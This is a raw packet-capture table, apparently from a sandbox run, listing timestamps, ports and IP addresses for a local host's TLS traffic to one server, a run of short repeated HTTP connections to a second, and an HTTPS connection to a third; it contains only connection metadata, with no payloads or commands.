Dec 30, 2024 19:45:16.382550955 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.382623911 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.382632971 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.382674932 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.384042025 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.384058952 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.384099007 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.384107113 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.384154081 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.384376049 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.384397030 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.384430885 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.384438038 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.384463072 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.384483099 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.385322094 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.385339022 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.385387897 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.385396004 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.385442019 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.385543108 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.385560989 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.385611057 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.385618925 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.385638952 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.385660887 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.436584949 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.436602116 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.436671972 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.436690092 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.436734915 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.437484980 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.437501907 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.437550068 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.437558889 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.437599897 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.438934088 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.438950062 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.438982964 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.438992023 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.439021111 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.439029932 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.469811916 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.469829082 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.469913960 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.469923973 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.470011950 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.471046925 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.471065044 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.471106052 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.471113920 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.471158981 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.471354961 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.471371889 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.471416950 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.471425056 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.471470118 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.472136021 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.472148895 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.472194910 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.472203016 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.472244024 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.472327948 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.472342968 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.472392082 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.472399950 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.472441912 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.473603010 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.523572922 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.523591042 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.523678064 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.523688078 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.523734093 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.524250984 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.524270058 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.524317980 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.524327040 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.524367094 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.525825024 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.525845051 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.525885105 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.525892973 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.525934935 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.556569099 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.556601048 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.556658983 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.556669950 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.556720972 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.557836056 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.557856083 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.557914972 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.557924032 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.557970047 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.558245897 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.558264017 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.558300018 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.558307886 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.558320045 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.558346987 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.558985949 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.559000969 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.559235096 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.559247971 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.559257984 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.559292078 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.559324980 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.610446930 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.610461950 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.610547066 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.610558987 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.611186981 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.611207008 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.611241102 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.611252069 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.611265898 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.612751007 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.612763882 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.612807989 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.612818956 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.643599033 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.643615961 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.643681049 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.643692017 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.644684076 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.644696951 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.644745111 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.644756079 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.644781113 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.645131111 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.645148039 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.645185947 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.645195961 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.645209074 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.645814896 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.645827055 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.645870924 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.645879984 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.646115065 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.646131992 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.646177053 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.646186113 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.697346926 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.697360992 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.697431087 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.697444916 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.697995901 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.698014021 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.698050976 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.698060989 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.698080063 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.699736118 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.699749947 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.699784040 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.699793100 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.699805021 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.730494022 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.730523109 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.730582952 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.730601072 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.730621099 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.731813908 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.731847048 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.731878042 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.731884003 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.731909990 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.731944084 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.740331888 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.740350008 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.740361929 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:16.740370035 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:16.949028969 CET	50051	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:16.954220057 CET	80	50051	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:16.954396963 CET	50051	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:16.954521894 CET	50051	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:16.954540014 CET	50051	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:16.959233046 CET	80	50051	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:16.959414959 CET	80	50051	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:18.689690113 CET	80	50051	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:18.689873934 CET	80	50051	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:18.689928055 CET	50051	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:18.690637112 CET	50051	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:18.695419073 CET	80	50051	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:18.696149111 CET	50052	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:18.700978041 CET	80	50052	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:18.701064110 CET	50052	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:18.701184034 CET	50052	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:18.701227903 CET	50052	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:18.705969095 CET	80	50052	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:18.706054926 CET	80	50052	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:20.211200953 CET	80	50052	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:20.211430073 CET	80	50052	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:20.211488008 CET	50052	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:20.211522102 CET	50052	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:20.216269970 CET	80	50052	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:20.218836069 CET	50053	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:20.223664999 CET	80	50053	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:20.223737955 CET	50053	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:20.223864079 CET	50053	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:20.223879099 CET	50053	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:20.228640079 CET	80	50053	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:20.228771925 CET	80	50053	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:21.698214054 CET	80	50053	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:21.698400021 CET	80	50053	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:21.698461056 CET	50053	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:21.698508978 CET	50053	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:21.703239918 CET	80	50053	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:21.703833103 CET	50054	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:21.708611965 CET	80	50054	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:21.708694935 CET	50054	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:21.708884001 CET	50054	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:21.708935022 CET	50054	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:21.713669062 CET	80	50054	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:21.713771105 CET	80	50054	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:23.176513910 CET	80	50054	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:23.176762104 CET	80	50054	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:23.176825047 CET	50054	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:23.176842928 CET	50054	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:23.180022955 CET	50055	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:23.181586027 CET	80	50054	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:23.184859991 CET	80	50055	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:23.184952021 CET	50055	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:23.185098886 CET	50055	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:23.185133934 CET	50055	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:23.189919949 CET	80	50055	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:23.190001011 CET	80	50055	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:24.672801971 CET	80	50055	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:24.673557043 CET	80	50055	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:24.673636913 CET	50055	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:24.673666954 CET	50055	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:24.678442001 CET	80	50055	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:24.680083990 CET	50056	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:24.684899092 CET	80	50056	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:24.684992075 CET	50056	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:24.685197115 CET	50056	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:24.685245037 CET	50056	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:24.689948082 CET	80	50056	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:24.690095901 CET	80	50056	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:26.125819921 CET	80	50056	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:26.125919104 CET	80	50056	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:26.125994921 CET	50056	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:26.129224062 CET	50056	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:26.134017944 CET	80	50056	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:26.463593006 CET	50057	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:26.468378067 CET	80	50057	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:26.468554974 CET	50057	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:26.473896027 CET	50057	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:26.473908901 CET	50057	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:26.478687048 CET	80	50057	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:26.478831053 CET	80	50057	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:27.931920052 CET	80	50057	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:27.932043076 CET	80	50057	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:27.932091951 CET	50057	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:27.932138920 CET	50057	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:27.936863899 CET	80	50057	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:27.939239979 CET	50058	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:27.944046021 CET	80	50058	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:27.944194078 CET	50058	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:27.944336891 CET	50058	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:27.944360018 CET	50058	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:27.949162006 CET	80	50058	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:27.949208975 CET	80	50058	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:29.410043001 CET	80	50058	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:29.410247087 CET	80	50058	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:29.410428047 CET	50058	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:29.410428047 CET	50058	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:29.415232897 CET	80	50058	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:29.425843000 CET	50059	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:29.430679083 CET	80	50059	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:29.430852890 CET	50059	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:29.430948973 CET	50059	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:29.430984020 CET	50059	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:29.435736895 CET	80	50059	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:29.435848951 CET	80	50059	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:30.888448954 CET	80	50059	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:30.888649940 CET	80	50059	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:30.888814926 CET	50059	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:30.926309109 CET	50059	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:30.931086063 CET	80	50059	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:30.943646908 CET	50060	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:30.948487043 CET	80	50060	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:30.948559999 CET	50060	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:30.951487064 CET	50060	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:30.951513052 CET	50060	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:30.956285000 CET	80	50060	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:30.956387997 CET	80	50060	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:32.674526930 CET	80	50060	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:32.675539017 CET	80	50060	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:32.675599098 CET	50060	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:32.675642967 CET	50060	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:32.680440903 CET	80	50060	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:32.682039976 CET	50061	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:32.687504053 CET	80	50061	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:32.687604904 CET	50061	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:32.687740088 CET	50061	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:32.687762022 CET	50061	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:32.692576885 CET	80	50061	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:32.692723989 CET	80	50061	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:34.174436092 CET	80	50061	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:34.174675941 CET	80	50061	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:34.174731016 CET	50061	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:34.174801111 CET	50061	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:34.179544926 CET	80	50061	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:34.184315920 CET	50062	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:34.189163923 CET	80	50062	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:34.189244032 CET	50062	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:34.189436913 CET	50062	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:34.189475060 CET	50062	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:34.194225073 CET	80	50062	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:34.194343090 CET	80	50062	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:35.675649881 CET	80	50062	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:35.676352978 CET	80	50062	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:35.676527977 CET	50062	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:35.676527977 CET	50062	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:35.681442022 CET	80	50062	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:35.682640076 CET	50063	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:35.687585115 CET	80	50063	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:35.687678099 CET	50063	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:35.687838078 CET	50063	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:35.687865973 CET	50063	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:35.692620039 CET	80	50063	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:35.692753077 CET	80	50063	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:37.141829967 CET	80	50063	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:37.142040968 CET	80	50063	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:37.142096043 CET	50063	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:37.142143011 CET	50063	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:37.146898031 CET	80	50063	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:37.371012926 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:37.371059895 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:37.371121883 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:37.371520042 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:37.371532917 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:37.881356955 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:37.881438971 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:37.883114100 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:37.883126020 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:37.883632898 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:37.884372950 CET	50064	443	192.168.2.4	192.185.146.136
Dec 30, 2024 19:45:37.931355000 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.018533945 CET	443	50064	192.185.146.136	192.168.2.4
Dec 30, 2024 19:45:38.018564939 CET	443	50064	192.185.146.136	192.168.2.4
